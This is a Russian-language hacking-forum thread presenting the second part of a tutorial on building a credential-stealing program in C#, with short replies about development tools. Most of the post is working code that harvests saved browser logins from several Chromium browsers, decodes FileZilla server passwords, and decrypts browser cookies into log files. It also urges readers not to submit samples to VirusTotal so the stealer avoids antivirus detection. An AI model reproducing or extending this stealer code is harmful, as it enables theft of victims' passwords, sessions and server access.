[Авторская статья] Пишем стиллер на C#. Часть 2.

Тема в разделе "C#", создана пользователем Allkatraz, 24.08.18.Просмотров: 668

  1. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    9 месяцев с нами
    20 дней с нами
    Первая часть статьи : Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Предисловие

    Приветствую всех, вот и наконец-то подъехала вторая часть по этой статье. Честно говоря, я ожидал, что прошлая моя статья наберет побольше симпатий, поэтому я не особо торопился с написанием второй части. Но увидев тред с продажей одного стиллера ( Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником ), у меня появилась мотивация написать вторую статью. Увидев функционал я немного удивился, какую цену он запрашивает. Давайте посмотрим, какой функционал он имеет, и сделаем такой же.

    Экшон
    Такс, начнем с этих 10 браузеров. Ну в этом ничего сложного нету, т.к. все они на движке хромиум. Открываем в Visual Studio наш проект. Хром, яндекс и опера у нас есть, добавим браузеры Vivaldi, Kometa, Orbitum, Comodo, Amigo, Torch. Про браузер FreeU мало инфы, но я уверен, что он тоже на том же движке. Изменяем добавляем в массив browser_paths новые браузеры :
    Код:
    string[] browser_paths = {
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Login Data"
                };
    Так, с этим мы справились, идем дальше. Этот стиллер также ворует данные FileZilla. Создадим класс FileZilla и добабвляем в класс FIleZilla следующий метод :
    Код:
    public static string GetFilezilla()
               {
                string data = "";
                try
                {
                    string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml";
                    if (File.Exists(path))
                    {              
                        using (FileStream fs = new FileStream(path, FileMode.Open))
                        {
                            StreamReader sr = new StreamReader(fs);
                            Regex regex1 = new Regex("<Host>(.*)</Host>");
                            Regex regex2 = new Regex("<User>(.*)</User>");
                            Regex regex3 = new Regex("<Pass encoding=\"base64\">(.*)</Pass>");
                            string host = String.Empty;
                            string usr = String.Empty;
                            string pass = String.Empty;
                            string input;
                            while ((input = sr.ReadLine()) != null)
                            {
                                Match match1 = regex1.Match(input);
                                Match match2 = regex2.Match(input);
                                Match match3 = regex3.Match(input);
                                if (match1.Groups[1].ToString() != "")
                                    host = match1.Groups[1].ToString();
                                if (match2.Groups[1].ToString() != "")
                                    usr = match2.Groups[1].ToString();
                                if (match3.Groups[1].ToString() != "")
                                    pass = Encoding.UTF8.GetString(Convert.FromBase64String(match3.Groups[1].ToString()));
                                if (!String.IsNullOrWhiteSpace(host) && !String.IsNullOrWhiteSpace(usr) && !String.IsNullOrWhiteSpace(pass))
                                {
                                    data += "==================\r\n";
                                    data += host + " | " + usr + " : " + pass + "\r\n";
                                    data += "==================\r\n";
                                    host = String.Empty;
                                    usr = String.Empty;
                                    pass = String.Empty;
                                }
                            }
                            sr.Close();
                        }
                    }
                } catch { }
                return data;
            }
    В самое начало этого класса добавим необходимые зависимости :
    Код:
    using System;
    using System.IO;
    using System.Text;
    using System.Text.RegularExpressions;
    И добавим в Program.cs эту строчку. Я её добавлю после записи паролей в файл :
    Код:
    content = FileZilla.GetFilezilla();
    File.WriteAllText(Path.GetTempPath() + @"log\FileZilla.txt", content);
    Осталось лишь добавить получение печенек ( cookies ). Создадим класс Cookies и вставим в класс Cookies метод ReadCookies :
    Код:
    static public IEnumerable<Tuple<string, string, string>> ReadCookies(string dbPath)
                {
                if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
                {
                    File.Delete(Path.GetTempPath() + @"log\Cookies");
                }
                File.Copy(dbPath, Path.GetTempPath() + @"log\Cookies");
                dbPath = Path.GetTempPath() + @"log\Cookies";
                var connectionString = "Data Source=" + dbPath + ";pooling=false";
                using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
                using (var cmd = conn.CreateCommand())
                {
    
    
                    cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";
    
                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            var encryptedData = (byte[])reader[1];
    
                            var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                            var plainText = Encoding.ASCII.GetString(decodedData);
    
                            yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);
    
                        }
    
                    }
    
                    conn.Close();
                }
            }
    Добавим в самый конец класса необходимые зависимости :
    Код:
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Text;
    Так, теперь переходим в Program.cs и добавим массив строк cookies_paths, в котором будут храниться пути до файлов с печеньками :
    Код:
    string[] cookies_paths = {
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Cookies",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Cookies"
                };
    Добавим еще и этот код :
    Код:
    string content_cook = "";
          foreach (string c in cookies_paths)
                {
                    var cook = Cookies.ReadCookies(c);
                    if (File.Exists(c))                   // если файл с паролями существует, то выполняем следующие действия
                    {
                        foreach (var item in cook)
                        {
                            if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                            {
                                content_cook += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                                content_cook += "==================\r\n";
                            }
                        }
                    }
                }
                if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
                {
                    File.Delete(Path.GetTempPath() + @"log\Cookies");
                }
                File.WriteAllText(Path.GetTempPath() + @"log\Cookies.txt", content_cook);
    Запускаем и видим результат :
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Собственно говоря, на этом всё. И да, стиллер палится касперским, какой-то урод, видимо, слил на вирустотал. Пожалуйста, никогда не сливайте файлы на вирустотал.

    Подведем итоги
    Я считаю, что этот стиллер пока что не стоит своих денег, так как функционал его достаточно простой и небольшой. Стиллер написан на Python, поэтому не исключаю того, что у него есть зависимости. Но если кодер его доработает, добавит еще какие-то полезные функции + добавит стиллинг паролей из браузеров на движке Gecko (например Mozilla Firefox), то получится весьма годный продукт.
    Третья статья выйдет если эта наберет столько же или больше лайков, чем предыдущая. Если будут вопросы, то пишите.
     
    Последнее редактирование: 24.08.18
  2. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    9 месяцев с нами
    20 дней с нами
    В код добавляются какая-та лабуда ( [/B] и ). Я убираю её, она снова появляется -_- . Когда будете писать код, не забудьте эту фигню удалить.
    UPD : уже убрал
     
    Последнее редактирование: 24.08.18
  3. pers1981 Прохожий

    pers1981

    37 сообщения
    13 симпатий
    0
    розыгрышей
    5 лет с нами
    8 месяцев с нами
    23 дня с нами
    Дай ссылку на Visual Studio
     
  4. iExploit %USERNAME%

    iExploit

    Продвинутый

    59 сообщения
    90 симпатий
    3
    розыгрышей
    5 лет с нами
    8 месяцев с нами
    :Think::Think::Think:
    [​IMG]
     
  5. Domitori Новичок

    Domitori

    5 сообщения
    7 симпатий
    0
    розыгрышей
    5 лет с нами
    7 месяцев с нами
    3 дня с нами
    а есть программа на линукс, подобная висуал студио? а точнее на kali linux.
     
  6. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    9 месяцев с нами
    20 дней с нами
    Ну, например, MonoDevelop.